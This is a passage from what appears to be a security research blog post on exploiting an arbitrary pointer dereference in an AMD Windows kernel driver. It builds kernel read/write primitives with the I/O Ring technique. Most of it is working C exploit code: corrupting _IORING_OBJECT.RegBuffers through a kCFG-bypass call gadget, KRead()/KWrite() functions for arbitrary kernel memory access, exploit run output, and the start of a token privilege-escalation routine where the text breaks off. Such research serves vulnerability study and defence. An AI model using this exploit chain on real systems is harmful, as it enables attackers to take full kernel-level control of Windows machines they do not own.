href=\"https:\/\/windows-internals.com\/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11\/\">I\/O Ring technique<\/a> was discovered and documented by <a href=\"https:\/\/x.com\/yarden_shafir\">Yarden Shafir<\/a> and later on also <a href=\"https:\/\/knifecoat.com\/Posts\/Arbitrary+Kernel+RW+using+IORING's\">described<\/a> by <a href=\"https:\/\/x.com\/fuzzysec\">Ruben Boonen<\/a>.<\/p>\r\n<p><em>Some pieces of code were brutally copy\/pasted from <a href=\"https:\/\/github.com\/yardenshafir\/IoRingReadWritePrimitive\">Yarden&#8217;s repo<\/a>.<\/em><\/p>\r\n<p>At a high level, the idea is the following:<\/p>\r\n<ol>\r\n<li>Allocate an IoRing (<a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_IORING_OBJECT\">_IORING_OBJECT<\/a> structure in kernel) using the <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/ioringapi\/nf-ioringapi-createioring\">CreateIoRing()<\/a> API.<\/li>\r\n<li>Call <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/ioringapi\/nf-ioringapi-buildioringregisterbuffers\">BuildIoRingRegisterBuffers()<\/a> so that _IORING_OBJECT.RegBuffers and _IORING_OBJECT.RegBuffersCount are initialized.<\/li>\r\n<li>Exploit our arbitrary pointer dereference to overwrite\u00a0_IORING_OBJECT.RegBuffers.<\/li>\r\n<li>\u00a0Call <strong><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/ioringapi\/nf-ioringapi-buildioringreadfile\">BuildIoRingReadFile()<\/a><\/strong> to <strong>write to an arbitrary kernel address<\/strong> and <strong>BuildIoRingWriteFile()<\/strong> to <strong>read from an arbitrary kernel address<\/strong>.\u00a0<\/li>\r\n<\/ol>\r\n<p>So, let&#8217;s start modifying the exploit.<\/p>\r\n<p>Before calling our <em>arbitraryCallDriver()<\/em>, we place a call to a routine named <em>prepare() <\/em>that does the following:<\/p>\r\n<ol>\r\n<li>Create the _IORING_OBJECT (call to <em>CreateIoRing()<\/em>) and save the returned <strong>pointer to user-mode object<\/strong>\u00a0in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">puioring<\/code>.<\/li>\r\n<li>Set _IORING_OBJECT.RegBuffers to a dummy array and _IORING_OBJECT.RegBuffersCount to <strong>1<\/strong> using <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/ioringapi\/nf-ioringapi-buildioringregisterbuffers\"><em>BuildIoRingRegisterBuffers()<\/em><\/a> and <em><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/ioringapi\/nf-ioringapi-submitioring\">SubmitIoRing()<\/a><\/em> (we have to call every time SubmitIoRing() to perform any operation).<\/li>\r\n<li>Call <em>GetKAddrFromHandle()<\/em> to <strong>obtain the kernel address of the IoRing object from the handle<\/strong> and save the result in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ioringaddress<\/code>. <em>GetKAddrFromHandle() <\/em>is another routine created by us that internally calls <em><a href=\"https:\/\/learn.microsoft.com\/it-it\/windows\/win32\/api\/winternl\/nf-winternl-ntquerysysteminformation\">NtQuerySystemInformation()<\/a><\/em> to obtain the kernel address.<\/li>\r\n<li>Allocate an array containing 1 pointer to a <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_IOP_MC_BUFFER_ENTRY\">_IOP_MC_BUFFER_ENTRY<\/a>, named <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers<\/code>. We will exploit the vulnerability to <strong>overwrite _IORING_OBJECT.RegBuffers with\u00a0<\/strong><code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers<\/code>.<\/li>\r\n<li>Instantiate all the named pipes that will be necessary to exploit the arbitrary read\/write offered by IoRing.<\/li>\r\n<\/ol>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n    #define REGBUFFERCOUNT 0x1\r\n    [...]\r\n    HANDLE g_device;\r\n    PUIORING puioring = NULL;\r\n    PVOID ioringaddress = NULL;\r\n    HIORING handle = NULL;\r\n    PIOP_MC_BUFFER_ENTRY* fake_buffers = NULL;\r\n    UINT_PTR userData = 0x41414141;\r\n    ULONG numberOfFakeBuffers = 100;\r\n    PVOID addressForFakeBuffers = NULL;\r\n    HANDLE inputPipe = INVALID_HANDLE_VALUE;\r\n    HANDLE outputPipe = INVALID_HANDLE_VALUE;\r\n    HANDLE inputClientPipe = INVALID_HANDLE_VALUE;\r\n    HANDLE outputClientPipe = INVALID_HANDLE_VALUE;\r\n    IORING_BUFFER_INFO preregBuffers[REGBUFFERCOUNT] = { 0 };\r\n    [...]\r\n    PVOID\r\n    AllocateFakeBuffersArray(\r\n        _In_ ULONG NumberOfFakeBuffers\r\n    )\r\n    {\r\n        ULONG size;\r\n        PVOID* fakeBuffers;\r\n    \r\n        \r\n        \/\/\r\n        \/\/ This will be an array of pointers to IOP_MC_BUFFER_ENTRYs\r\n        \/\/\r\n    \r\n    \r\n        fakeBuffers = (PVOID*)VirtualAlloc(NULL, NumberOfFakeBuffers * sizeof(PVOID), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        if (fakeBuffers == NULL)\r\n        {\r\n            printf(\"[-] Failed to allocate fake buffers array\\n\");\r\n            return NULL;\r\n        }\r\n        if (!VirtualLock(fakeBuffers, NumberOfFakeBuffers * sizeof(PVOID)))\r\n        {\r\n            printf(\"[-] Failed to lock fake buffers array\\n\");\r\n            return NULL;\r\n        }\r\n        memset(fakeBuffers, 0, NumberOfFakeBuffers * sizeof(PVOID));\r\n        for (int i = 0; i &lt; NumberOfFakeBuffers; i++)\r\n        {\r\n            fakeBuffers[i] = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n            if (fakeBuffers[i] == NULL)\r\n            {\r\n                printf(\"[-] Failed to allocate fake buffer\\n\");\r\n                return NULL;\r\n            }\r\n            if (!VirtualLock(fakeBuffers[i], sizeof(IOP_MC_BUFFER_ENTRY)))\r\n            {\r\n                printf(\"[-] Failed to lock fake buffer\\n\");\r\n                return NULL;\r\n            }\r\n            memset(fakeBuffers[i], 0x41, sizeof(IOP_MC_BUFFER_ENTRY));\r\n        }\r\n        \r\n        printf(\"[*] fakeBuffers = 0x%p\\n\", fakeBuffers);\r\n        for (int i = 0; i &lt; NumberOfFakeBuffers; i++) {\r\n            printf(\"[*] fakeBuffers[%d] = 0x%p\\n\", i, fakeBuffers[i]);\r\n        }\r\n    \r\n        return fakeBuffers;\r\n    }\r\n    \r\n    BOOL prepare() {\r\n        HRESULT result;\r\n        IORING_CREATE_FLAGS flags;\r\n    \r\n        flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;\r\n        flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;\r\n        \r\n        result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, (HIORING*)&amp;handle);\r\n        if (!SUCCEEDED(result))\r\n        {\r\n            printf(\"[-] Failed creating IO ring handle: 0x%x\\n\", result);\r\n            return FALSE;\r\n        }\r\n        puioring = (PUIORING)handle;\r\n        printf(\"[+] Created IoRing. handle=0x%p\\n\", puioring);\r\n        \/\/pre-register buffer array with len=1\r\n        preregBuffers[0].Address = VirtualAlloc(NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        if (!preregBuffers[0].Address)\r\n        {\r\n            printf(\"[-] Failed to allocate prereg buffer\\n\");\r\n            return FALSE;\r\n        }\r\n        memset(preregBuffers[0].Address, 0x41, 0x100);\r\n        preregBuffers[0].Length = 0x100;\r\n        result = BuildIoRingRegisterBuffers(handle, REGBUFFERCOUNT, preregBuffers, 0);\r\n        if (!SUCCEEDED(result))\r\n        {\r\n            printf(\"[-] Failed BuildIoRingRegisterBuffers: 0x%x\\n\", result);\r\n            return FALSE;\r\n        }\r\n        UINT32 submitted = 0;\r\n        result = SubmitIoRing(handle, 1, INFINITE, &amp;submitted);\r\n        if (!SUCCEEDED(result)) {\r\n            printf(\"[-] Failed SubmitIoRing: 0x%x\\n\", result);\r\n            return FALSE;\r\n        }\r\n        printf(\"[*] submitted = 0x%d\\n\", submitted);\r\n        ioringaddress = GetKAddrFromHandle(puioring-&gt;handle);\r\n        printf(\"[*] ioringaddress = 0x%p\\n\", ioringaddress);\r\n        \r\n        fake_buffers = (PIOP_MC_BUFFER_ENTRY*)AllocateFakeBuffersArray(\r\n            REGBUFFERCOUNT\r\n            );\r\n        if (fake_buffers == NULL)\r\n        {\r\n            printf(\"[-] Failed to allocate fake buffers\\n\");\r\n            return FALSE;\r\n        }\r\n    \r\n        \/\/\r\n        \/\/ Create named pipes for the input\/output of the I\/O operations\r\n        \/\/ and open client handles for them\r\n        \/\/\r\n        inputPipe = CreateNamedPipe(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);\r\n        if (inputPipe == INVALID_HANDLE_VALUE)\r\n        {\r\n            printf(\"[-] Failed to create input pipe: 0x%x\\n\", GetLastError());\r\n            return FALSE;\r\n        }\r\n        outputPipe = CreateNamedPipe(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);\r\n        if (outputPipe == INVALID_HANDLE_VALUE)\r\n        {\r\n            printf(\"[-] Failed to create output pipe: 0x%x\\n\", GetLastError());\r\n            return FALSE;\r\n        }\r\n    \r\n        outputClientPipe = CreateFile(OUTPUT_PIPE_NAME,\r\n            GENERIC_READ | GENERIC_WRITE,\r\n            FILE_SHARE_READ | FILE_SHARE_WRITE,\r\n            NULL,\r\n            OPEN_ALWAYS,\r\n            FILE_ATTRIBUTE_NORMAL,\r\n            NULL);\r\n    \r\n        if (outputClientPipe == INVALID_HANDLE_VALUE)\r\n        {\r\n            printf(\"[-] Failed to open handle to output file: 0x%x\\n\", GetLastError());\r\n            return FALSE;\r\n        }\r\n    \r\n        inputClientPipe = CreateFile(INPUT_PIPE_NAME,\r\n            GENERIC_READ | GENERIC_WRITE,\r\n            FILE_SHARE_READ | FILE_SHARE_WRITE,\r\n            NULL,\r\n            OPEN_ALWAYS,\r\n            FILE_ATTRIBUTE_NORMAL,\r\n            NULL);\r\n    \r\n        if (inputClientPipe == INVALID_HANDLE_VALUE)\r\n        {\r\n            printf(\"[-] Failed to open handle to input pipe: 0x%x\\n\", GetLastError());\r\n            return FALSE;\r\n        }\r\n    \r\n        return TRUE;\r\n    }\r\n    [...]\r\n    int main()\r\n    {\r\n    [...]\r\n        if (!prepare())\r\n            return -1;\r\n    \r\n        arbitraryCallDriver(outputBuffer, SIZE_BUF);\r\n        printf(\"[+] arbitraryCallDriver returned successfully.\\n\");\r\n    [...]\r\n    }\r\n    <\/pre>\r\n<p>Now, let&#8217;s modify our <em>arbitraryCallDriver()<\/em>. Recall from the <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\">end of part 2<\/a> that at the moment of the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">jmp rax<\/code> instruction, we <strong>control RCX<\/strong>. <strong>RCX corresponds to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">object2+0x30<\/code> that it is also <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ptr-&gt;AttachedDevice<\/code><\/strong>.<\/p>\r\n<p>First of all, we change the code in a way that we are able to <strong>hijack the execution flow to <em>nt!DbgkpTriageDumpRestoreState<\/em><\/strong>, the call gadget useful for bypassing kCFG.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n        * ((PDWORD64)pDriverFunction) = g_ntbase + 0x7f06a0;   \/\/address of DbgkpTriageDumpRestoreState\r\n[...]<\/pre>\r\n<p>Later on, we have to set <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers<\/code>, that is the <strong>value that we want to write<\/strong>, at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ptr-&gt;AttachedDevice+0x10<\/code> (remember <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">rcx = ptr-&gt;attachedDevice<\/code>) that is <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ptr-&gt;AttachedDevice-&gt;NextDevice<\/code> (recall that <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ptr-&gt;AttachedDevice<\/code> points to a <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_DEVICE_OBJECT\">_DEVICE_OBJECT<\/a>\u00a0 struct).<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n        \/\/ptr-&gt;AttachedDevice corresponds to rcx when we hijack execution to DbgkpTriageDumpRestoreState\r\n        ptr-&gt;AttachedDevice-&gt;NextDevice = (_DEVICE_OBJECT*)fake_buffers;  \/\/value of arbitrary write. address of fakeBuffers\r\n[...]<\/pre>\r\n<p>We must then set RDX in a way that <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">rdx+0x2078<\/code> points to the <strong>kernel address we want to write to<\/strong>, that is _IORING_OBJECT.RegBuffers.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n        \/\/offset 0x0 (AttachedDevice-&gt;Type,Size,ReferenceCount) we store the address that is stored in rdx by DbgkpTriageDumpRestoreState\r\n        PDWORD64 prdx_val = (PDWORD64)ptr-&gt;AttachedDevice;\r\n        *prdx_val = (DWORD64)ioringaddress + 0xb8 - 0x2078; \/\/address of RegBuffers in ioring kernel structure\r\n        printf(\"[*] prdx_val = 0x%p\\n\", prdx_val);\r\n[...]<\/pre>\r\n<p>Finally, after calling <em>DeviceIoControl()<\/em>, we must <strong>update<\/strong> <strong>the user-mode IoRing struct<\/strong> so that it matches with the corresponding kernel-mode _IORING_OBJECT struct.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">[...]\r\n        BOOL res = DeviceIoControl(\r\n            g_device,\r\n            IOCTL_ARBITRARYCALLDRIVER,\r\n            inputBuffer,\r\n            SIZE_BUF,\r\n            outputBuffer,\r\n            outSize,\r\n            &amp;bytesRet,\r\n            NULL\r\n        );\r\n    \r\n        printf(\"[*] sent IOCTL_ARBITRARYCALLDRIVER \\n\");\r\n        if (!res) {\r\n            printf(\"[-] DeviceIoControl failed with error: %d\\n\", GetLastError());\r\n        }\r\n    \r\n        \/\/update regBuffer address and size in usermode ioring\r\n        puioring-&gt;RegBufferArray = fake_buffers;\r\n        puioring-&gt;BufferArraySize = REGBUFFERCOUNT;\r\n[...]<\/pre>\r\n<p>Now, let&#8217;s place a <a href=\"https:\/\/www.ibm.com\/docs\/en\/i\/7.5?topic=functions-getc-getchar-read-character\"><em>getchar()<\/em><\/a> call before and after triggering the vulnerability and run the exploit.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">PS Microsoft.PowerShell.Core\\FileSystem::\\\\vmware-host\\Shared Folders\\Debug&gt; .\\DrvExpTemplate.exe\r\n    [+] Opened handle to device: 0x00000000000000FC\r\n    [+] User buffer allocated: 0x0000025258D70000\r\n    [*] sent IOCTL_READMSR\r\n    [+] readMSR success.\r\n    [+] IA32_LSTAR = 0xFFFFF80469A2B700\r\n    [+] g_ntbase = 0xFFFFF80469600000\r\n    [+] Created IoRing. handle=0x0000025258B141C0\r\n    [*] submitted = 0x1\r\n    [*] ioringaddress = 0xFFFFE5063F4F8900\r\n    [*] fakeBuffers = 0x0000025258D90000\r\n    [*] fakeBuffers[0] = 0x0000025258DA0000\r\n    [+] object = 0x0000001AFEFF0000\r\n    [+] second object = 0x0000001AFEFFFFD0\r\n    [+] ptr = 0x0000001AFF000000\r\n    [+] object2 = 0x0000025258DC0000\r\n    [+] driverObject = 0x0000025258DD0000\r\n    [+] ptr-&gt;AttachedDevice = 0x0000025258DC0030\r\n    [*] prdx_val = 0x0000025258DC0030\r\n    [+] User buffer allocated: 0x0000025258DB0000<\/pre>\r\n<p>From the output we can see our _IORING_OBJECT was allocated at kernel-space address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">ioringaddress = 0xFFFFE5063F4F8900<\/code>. Our <code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">fake_buffers<\/code> array is at user-space address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">0x0000025258D90000<\/code> and has only one entry,\u00a0 <code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">fake_buffers[0]<\/code>, that contains the user-space address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">0x0000025258DA0000<\/code>, that points to our fake <a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/windows-11\/22h2\/_IOP_MC_BUFFER_ENTRY\">_IOP_MC_BUFFER_ENTRY<\/a> struct.<\/p>\r\n<p>Now let&#8217;s inspect the allocated _IORING_OBJECT in the kernel with WinDbg.<\/p>\r\n<figure id=\"attachment_4354\" aria-describedby=\"caption-attachment-4354\" style=\"width: 921px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4354 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-7-1.png\" alt=\"\" width=\"921\" height=\"436\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-7-1.png 921w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-7-1-300x142.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-7-1-768x364.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-7-1-350x166.png 350w\" sizes=\"(max-width: 921px) 100vw, 921px\" \/><figcaption id=\"caption-attachment-4354\" class=\"wp-caption-text\">_IORING_OBJECT before triggering the vulnerability.<\/figcaption><\/figure>\r\n<p>We can see that <em>_IORING_OBJECT.RegBuffersCount<\/em> field was successfully set to <strong>1<\/strong>.<\/p>\r\n<p>Now let&#8217;s press enter to <strong>trigger the vulnerability<\/strong> and re-inspect the _IORING_OBJECT in WinDbg.<\/p>\r\n<figure id=\"attachment_4355\" aria-describedby=\"caption-attachment-4355\" style=\"width: 908px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4355 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-8-1.png\" alt=\"\" width=\"908\" height=\"719\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-8-1.png 908w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-8-1-300x238.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-8-1-768x608.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/10\/image-8-1-350x277.png 350w\" sizes=\"(max-width: 908px) 100vw, 908px\" \/><figcaption id=\"caption-attachment-4355\" class=\"wp-caption-text\">_IORING_OBJECT after triggering the vulnerability.<\/figcaption><\/figure>\r\n<p>As we can see, we were able to <strong>successfully overwrite<\/strong> <em>_IORING_OBJECT.RegBuffers <\/em>with the user-space address of <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers<\/code>.<\/p>\r\n<p>Now, every time we want to <strong>read from\/write to a kernel-space address<\/strong> we just need to set the fields <strong>_IOP_MC_BUFFER_ENTRY.Address<\/strong> and <strong>_IOP_MC_BUFFER_ENTRY.Length<\/strong> at address <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers[0]<\/code> and call <em>BuildIoRingReadFile()\/BuildIoRingWriteFile()<\/em>.<\/p>\r\n<h3>Crafting our read\/write primitives<\/h3>\r\n<p>Now that we&#8217;ve successfully overwritten the RegBuffers field, we can create two functions <em><strong>KRead()<\/strong>\u00a0<\/em>and <em><strong>KWrite()<\/strong>\u00a0<\/em>that use the IoRing object to <strong>read and write arbitrary data in kernel-space<\/strong>.<\/p>\r\n<p>Let&#8217;s start with <em>KRead()<\/em>. It takes as input:<\/p>\r\n<ul>\r\n<li><strong>TargetAddress<\/strong>: the kernel-space address we want to read from.<\/li>\r\n<li><strong>pOut<\/strong>: a buffer allocated by the caller where the function saves the data read.<\/li>\r\n<li><strong>size<\/strong>: the amount of bytes to read from <strong>TargetAddress<\/strong>.<\/li>\r\n<\/ul>\r\n<p>It performs the following operations:<\/p>\r\n<ol>\r\n<li>Zero-out the IOP_MC_BUFFER_ENTRY struct at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers[0]<\/code>\u00a0and set the <strong>TargetAddress<\/strong> and <strong>size<\/strong> in IOP_MC_BUFFER_ENTRY.Address and IOP_MC_BUFFER_ENTRY.size.<\/li>\r\n<li>Call <em>BuildIoRingWriteFile()<\/em> and <em>SubmitIoRing() <\/em>to trigger the IoRing to read <strong>IOP_MC_BUFFER_ENTRY.size<\/strong> bytes from <strong>IOP_MC_BUFFER_ENTRY.Address<\/strong> and write them in our <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">OutputPipe<\/code>.<\/li>\r\n<li>Read the data from<code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">OutputPipe<\/code> and copy it in <strong>pOut\u00a0<\/strong>using <em>ReadFile()<\/em>.<\/li>\r\n<\/ol>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {\r\n        DWORD bytesRead = 0;\r\n        HRESULT result;\r\n        UINT32 submittedEntries;\r\n        IORING_CQE cqe;\r\n    \r\n        memset(fake_buffers[0], 0, sizeof(IOP_MC_BUFFER_ENTRY));\r\n        fake_buffers[0]-&gt;Address = TargetAddress;\r\n        fake_buffers[0]-&gt;Length = size;\r\n        fake_buffers[0]-&gt;Type = 0xc02;\r\n        fake_buffers[0]-&gt;Size = 0x80;\r\n        fake_buffers[0]-&gt;AccessMode = 1;\r\n        fake_buffers[0]-&gt;ReferenceCount = 1;\r\n    \r\n        auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);\r\n        auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);\r\n    \r\n        result = BuildIoRingWriteFile(handle,\r\n            requestDataFile,\r\n            requestDataBuffer,\r\n            size,\r\n            0,\r\n            FILE_WRITE_FLAGS_NONE,\r\n            NULL,\r\n            IOSQE_FLAGS_NONE);\r\n        if (!SUCCEEDED(result))\r\n        {\r\n            printf(\"[-] Failed building IO ring read file structure: 0x%x\\n\", result);\r\n            return FALSE;\r\n        }\r\n    \r\n        result = SubmitIoRing(handle, 1, INFINITE, &amp;submittedEntries);\r\n        if (!SUCCEEDED(result))\r\n        {\r\n            printf(\"[-] Failed submitting IO ring: 0x%x\\n\", result);\r\n            return FALSE;\r\n        }\r\n        printf(\"[*] submittedEntries = %d\\n\", submittedEntries);\r\n        \/\/\r\n        \/\/ Check the completion queue for the actual status code for the operation\r\n        \/\/\r\n        result = PopIoRingCompletion(handle, &amp;cqe);\r\n        if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))\r\n        {\r\n            printf(\"[-] Failed reading kernel memory 0x%x\\n\", cqe.ResultCode);\r\n            return FALSE;\r\n        }\r\n    \r\n        BOOL res = ReadFile(outputPipe,\r\n            pOut,\r\n            size,\r\n            &amp;bytesRead,\r\n            NULL);\r\n        if (!res)\r\n        {\r\n            printf(\"[-] Failed to read from output pipe: 0x%x\\n\", GetLastError());\r\n            return FALSE;\r\n        }\r\n        printf(\"[+] Successfully read %d bytes from kernel address 0x%p.\\n\", bytesRead,TargetAddress);\r\n        return res;\r\n    }<\/pre>\r\n<p><em>Kwrite()\u00a0<\/em>is actually quite similar. It takes as input:<\/p>\r\n<ul>\r\n<li><strong>TargetAddress<\/strong>: the <strong>target kernel-space address<\/strong> we want to <strong>write to<\/strong>.<\/li>\r\n<li><strong>pVal<\/strong>: a buffer holding the <strong>data we want to write<\/strong>.<\/li>\r\n<li><strong>size<\/strong>: the amount of bytes in <strong>pVal<\/strong> that we want to write.<\/li>\r\n<\/ul>\r\n<p>It performs the following operations:<\/p>\r\n<ol>\r\n<li>Write the buffer from <strong>pVal<\/strong> in our <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">InputPipe<\/code>.<\/li>\r\n<li>Zero-out the IOP_MC_BUFFER_ENTRY struct at <code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">fake_buffers[0]<\/code> and set the <strong>TargetAddress<\/strong> and <strong>size<\/strong> in IOP_MC_BUFFER_ENTRY.Address and IOP_MC_BUFFER_ENTRY.size.<\/li>\r\n<li>Call <em>BuildIoRingReadFile()<\/em> and <em>SubmitIoRing() <\/em>to trigger the IoRing to read <strong>IOP_MC_BUFFER_ENTRY.size<\/strong> bytes from our \u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">InputPipe<\/code> and write them to <strong>IOP_MC_BUFFER_ENTRY.Address<\/strong>.<\/li>\r\n<\/ol>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">BOOL KWrite(PVOID TargetAddress, PBYTE pValue, SIZE_T size) {\r\n\r\n    DWORD bytesWritten = 0;\r\n    HRESULT result;\r\n    UINT32 submittedEntries;\r\n    IORING_CQE cqe;\r\n\r\n    printf(\"[*] Writing to %p the following bytes\\n\", TargetAddress);\r\n    printf(\"[*] pValue = 0x%p\\n\", pValue);\r\n    printf(\"[*] data: \");\r\n    for (int i = 0; i &lt; size; i++) {\r\n        printf(\"0x%x \",pValue[i]);\r\n    }\r\n    printf(\"\\n\");\r\n    if (WriteFile(inputPipe, pValue, size, &amp;bytesWritten, NULL) == FALSE)\r\n    {\r\n        result = GetLastError();\r\n        printf(\"[-] Failed to write into the input pipe: 0x%x\\n\", result);\r\n        return FALSE;\r\n    }\r\n    printf(\"[*] bytesWritten = %d\\n\", bytesWritten);\r\n    \/\/\r\n    \/\/ Setup another buffer entry, with the address of ioring-&gt;RegBuffers as the target\r\n    \/\/ Use the client's handle of the input pipe for the read operation\r\n    \/\/\r\n    memset(fake_buffers[0], 0, sizeof(IOP_MC_BUFFER_ENTRY));\r\n    fake_buffers[0]-&gt;Address = TargetAddress;\r\n    fake_buffers[0]-&gt;Length = size;\r\n    fake_buffers[0]-&gt;Type = 0xc02;\r\n    fake_buffers[0]-&gt;Size = 0x80;\r\n    fake_buffers[0]-&gt;AccessMode = 1;\r\n    fake_buffers[0]-&gt;ReferenceCount = 1;\r\n\r\n    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);\r\n    auto requestDataFile = IoRingHandleRefFromHandle(inputClientPipe);\r\n\r\n    printf(\"[*] performing buildIoRingReadFile\\n\");\r\n    result = BuildIoRingReadFile(handle,\r\n        requestDataFile,\r\n        requestDataBuffer,\r\n        size,\r\n        0,\r\n        NULL,\r\n        IOSQE_FLAGS_NONE);\r\n    if (!SUCCEEDED(result))\r\n    {\r\n        printf(\"[-] Failed building IO ring read file structure: 0x%x\\n\", result);\r\n        return FALSE;\r\n    }\r\n\r\n    result = SubmitIoRing(handle, 1, INFINITE, &amp;submittedEntries);\r\n    if (!SUCCEEDED(result))\r\n    {\r\n        printf(\"[-] Failed submitting IO ring: 0x%x\\n\", result);\r\n        return FALSE;\r\n    }\r\n    printf(\"[*] submittedEntries = %d\\n\", submittedEntries);\r\n    return TRUE;\r\n}\r\n<\/pre>\r\n<h3>Using our read\/write primitives<\/h3>\r\n<p>Now it is just a matter of calling <em>KRead()\/KWrite()<\/em> for <strong>reading from\/writing to any kernel-space address<\/strong>. In this case we will just <strong>elevate our privileges<\/strong>, even if, as already outlined at the beginning, we could do much more.<\/p>\r\n<p><em>Using <a href=\"https:\/\/github.com\/Cr4sh\/KernelForge\">this library<\/a>, you can also call arbitrary kernel functions once you obtain kernel read\/write primitives (it won&#8217;t work if <a href=\"https:\/\/windows-internals.com\/cet-on-windows\/\">kCET<\/a> is enabled though).<\/em><\/p>\r\n<p>So, let&#8217;s create an <em>IncrementPrivileges()<\/em> function that uses <em>KRead()\/KWrite()\u00a0<\/em>to read and write the token privileges of the current process.<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">VOID IncrementPrivileges() {\r\n        HANDLE TokenHandle = 